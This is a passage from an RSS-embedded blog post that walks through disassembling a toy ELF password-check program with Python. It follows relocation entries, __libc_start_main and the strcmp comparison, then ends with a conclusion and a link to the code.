1742<span class="go">stdin 0x201010</span>
1743<span class="go">.rela.plt:</span>
1744<span class="go">puts 0x200fb0</span>
1745<span class="go">printf 0x200fb8</span>
1746<span class="go">fgets 0x200fc0</span>
1747<span class="go">strcmp 0x200fc8</span>
1748<span class="go">malloc 0x200fd0</span>
1749</code></pre></div>
1750
1751<p>Remember the function call at <code>0x200fe0</code> from earlier? Yep, so that was a call to the well known <code>__libc_start_main</code>. Again, according to <a href="http://refspecs.linuxbase.org/LSB_3.1.0/LSB-generic/LSB-generic/baselib—libc-start-main-.html">linuxbase.org</a></p>
1752
1753<blockquote>
1754 <p>The <code>__libc_start_main()</code> function shall perform any necessary initialization of the execution environment, call the <em>main</em> function with appropriate arguments, and handle the return from <code>main()</code>. If the <code>main()</code> function returns, the return value shall be passed to the <code>exit()</code> function.</p>
1755</blockquote>
1756
1757<p>And its definition is like so</p>
1758
1759<div class="codehilite"><pre><span></span><code><span class="kt">int</span> <span class="nf">__libc_start_main</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">(</span><span class="n">main</span><span class="p">)</span> <span class="p">(</span><span class="kt">int</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">),</span>
1760<span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span> <span class="n">ubp_av</span><span class="p">,</span>
1761<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">init</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span>
1762<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span>
1763<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">rtld_fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span>
1764<span class="kt">void</span> <span class="p">(</span><span class="o">*</span> <span class="n">stack_end</span><span class="p">));</span>
1765</code></pre></div>
1766
1767<p>Looking back at our disassembly</p>
1768
1769<pre><code>0x6a0: xor ebp, ebp
17700x6a2: mov r9, rdx
17710x6a5: pop rsi
17720x6a6: mov rdx, rsp
17730x6a9: and rsp, 0xfffffffffffffff0
17740x6ad: push rax
17750x6ae: push rsp
17760x6af: lea r8, [rip + 0x23a]
17770x6b6: lea rcx, [rip + 0x1c3]
1778**0x6bd: lea rdi, [rip + 0xe6]**
17790x6c4: call qword ptr [rip + 0x200916]
17800x6ca: hlt
1781... snip ...
1782</code></pre>
1783
1784<p>but this time, at the <code>lea</code> or Load Effective Address instruction, which loads some address <code>[rip + 0xe6]</code> into the <code>rdi</code> register. <code>[rip + 0xe6]</code> evaluates to <code>0x7aa</code> which happens to be the address of our <code>main()</code> function! How do I know that? Because <code>__libc_start_main()</code>, after doing whatever it does, eventually jumps to the function at <code>rdi</code>, which is generally the <code>main()</code> function. It looks something like this</p>
1785
1786<p><img src="https://cdn-images-1.medium.com/max/800/0*oQA2MwHjhzosF8ZH.png" alt="" /></p>
1787
1788<p>To see the disassembly of <code>main</code>, seek to <code>0x7aa</code> in the output of the script we’d written earlier (<code>disas1.py</code>).</p>
1789
1790<p>From what we discovered earlier, each <code>call</code> instruction points to some function which we can see from the relocation entries. So following each <code>call</code> into their relocations gives us this</p>
1791
1792<pre><code>printf 0x650
1793fgets 0x660
1794strcmp 0x670
1795malloc 0x680
1796</code></pre>
1797
1798<p>Putting all this together, things start falling into place. Let me highlight the key sections of the disassembly here. It’s pretty self-explanatory.</p>
1799
1800<pre><code>0x7b2: mov edi, 0xa ; 10
18010x7b7: call 0x680 ; malloc
1802</code></pre>
1803
1804<p>The loop to populate the <code>*pw</code> string</p>
1805
1806<pre><code>0x7d0: mov eax, dword ptr [rbp - 0x14]
18070x7d3: cdqe
18080x7d5: lea rdx, [rax - 1]
18090x7d9: mov rax, qword ptr [rbp - 0x10]
18100x7dd: add rax, rdx
18110x7e0: movzx eax, byte ptr [rax]
18120x7e3: lea ecx, [rax + 1]
18130x7e6: mov eax, dword ptr [rbp - 0x14]
18140x7e9: movsxd rdx, eax
18150x7ec: mov rax, qword ptr [rbp - 0x10]
18160x7f0: add rax, rdx
18170x7f3: mov edx, ecx
18180x7f5: mov byte ptr [rax], dl
18190x7f7: add dword ptr [rbp - 0x14], 1
18200x7fb: cmp dword ptr [rbp - 0x14], 8
18210x7ff: jle 0x7d0
1822</code></pre>
1823
1824<p>And this looks like our <code>strcmp()</code></p>
1825
1826<pre><code>0x843: mov rdx, qword ptr [rbp - 0x10] ; *in
18270x847: mov rax, qword ptr [rbp - 8] ; *pw
18280x84b: mov rsi, rdx
18290x84e: mov rdi, rax
18300x851: call 0x670 ; strcmp
18310x856: test eax, eax ; is = 0?
18320x858: jne 0x868 ; no? jump to 0x868
18330x85a: lea rdi, [rip + 0xae] ; "haha yes!"
18340x861: call 0x640 ; puts
18350x866: jmp 0x874
18360x868: lea rdi, [rip + 0xaa] ; "nah dude"
18370x86f: call 0x640 ; puts
1838</code></pre>
1839
1840<p>I’m not sure why it uses <code>puts</code> here? I might be missing something; perhaps <code>printf</code> calls <code>puts</code>. I could be wrong. I also confirmed with radare2 that those locations are actually the strings “haha yes!” and “nah dude”.</p>
1841
1842<p><strong>Update</strong>: It’s because of compiler optimization. A <code>printf()</code> (in this case) is seen as a bit overkill, and hence gets simplified to a <code>puts()</code>.</p>
1843
1844<h3 id="conclusion">Conclusion</h3>
1845
1846<p>Wew, that took quite some time. But we’re done. If you’re a beginner, you might find this extremely confusing, or probably didn’t even understand what was going on. And that’s okay. Building an intuition for reading and grokking disassembly comes with practice. I’m no good at it either.</p>
1847
1848<p>All the code used in this post is here: <a href="https://github.com/icyphox/asdf/tree/master/reversing-elf">https://github.com/icyphox/asdf/tree/master/reversing-elf</a></p>
1849
1850<p>Ciao for now, and I’ll see ya in #2 of this series — PE binaries. Whenever that is.</p>
1851]]></description><link>https://icyphox.sh/blog/python-for-re-1</link><pubDate>Fri, 08 Feb 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/python-for-re-1</guid></item></channel>
1852</rss>